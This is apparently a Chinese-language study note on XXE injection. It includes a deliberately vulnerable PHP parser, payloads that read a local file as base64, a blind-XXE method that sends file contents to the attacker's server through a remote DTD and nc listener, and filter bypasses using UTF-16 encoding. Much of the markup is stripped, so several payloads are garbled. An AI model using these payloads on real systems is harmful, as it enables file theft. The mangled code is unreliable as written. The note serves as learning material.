Xml外部实体注入学习
前置知识之XML语言
xml语言指可扩展标记语言,构建模块:xml声明,文档类型定义(DTD),文档元素。
其中DTD可以内部声明和外部引用:
DTD声明语法
DOCTYPE 名字 [内容]>
外部引用语法
DOCTYPE 名字 SYSTEM "XXX.dtd">
实体在DTD中定义,在元素中引用
实体声明例子
名字 "内容">
ENTITY % 名字 "内容">
在元素中引用实体例子
<username>&名字;username>
<username>%名字;username>
有回显的xxe利用
通过构造恶意的实体并引用造成xxe攻击
构造一个可以解析xml的php文件
<?php libxml_disable_entity_loader(false);#启用可以加载外部实体 $xmlfile=file_get_contents(php://input); $dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NONET | LIBXML_DTDLOAD);#加载xml $creds=simplexml_import_dom($dom);#把DOM节点转换为SimpleXMLElement对象 echo $creds; ?>
构造payload来读取test.php文件内容
<?xml version="1.0" encoding="utf-8"?>
]>
&aa;
打一下获得base64加密的test.php源码
无回显xxe利用
远程调用自己服务器上的恶意dtd从而将数据发到自己服务器上。
此时把存在xxe的php文件改为如下
<?php libxml_disable_entity_loader(false);#启用可以加载外部实体 $xmlfile=file_get_contents(php://input); $dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NONET | LIBXML_DTDLOAD);#加载xml ?>
在自己的服务器上放入文件remote.dtd,内容如下:
ENTITY % file SYSTEM "php://filter/read=string.base64-encode/resource=test.php" >
ENTITY % int ">">
%int;
%send;
payload如下:
DOCTYPE convert[
>
%remote;
]>
攻击利用方式同上,在服务器上开nc监听即可收到数据。
xxe bypass
上传xml文件但关键字被过滤时可用如下命令进制转换
iconv -f utf8 -t utf16 1.xml>2.xml
绕过关键字SYSTEM的过滤payload
<?xml version="1.0" encoding="utf-8"?> DOCTYPE creds [ > ]> <creds>&aa;creds>
绕过远程dtd的过滤:
在服务器上构造如下文件命名为1.d(引用dtd不一定非要用.dtd结尾)
ENTITY aa PUBLIC "Yu" "http://127.0.0.1/flag.php">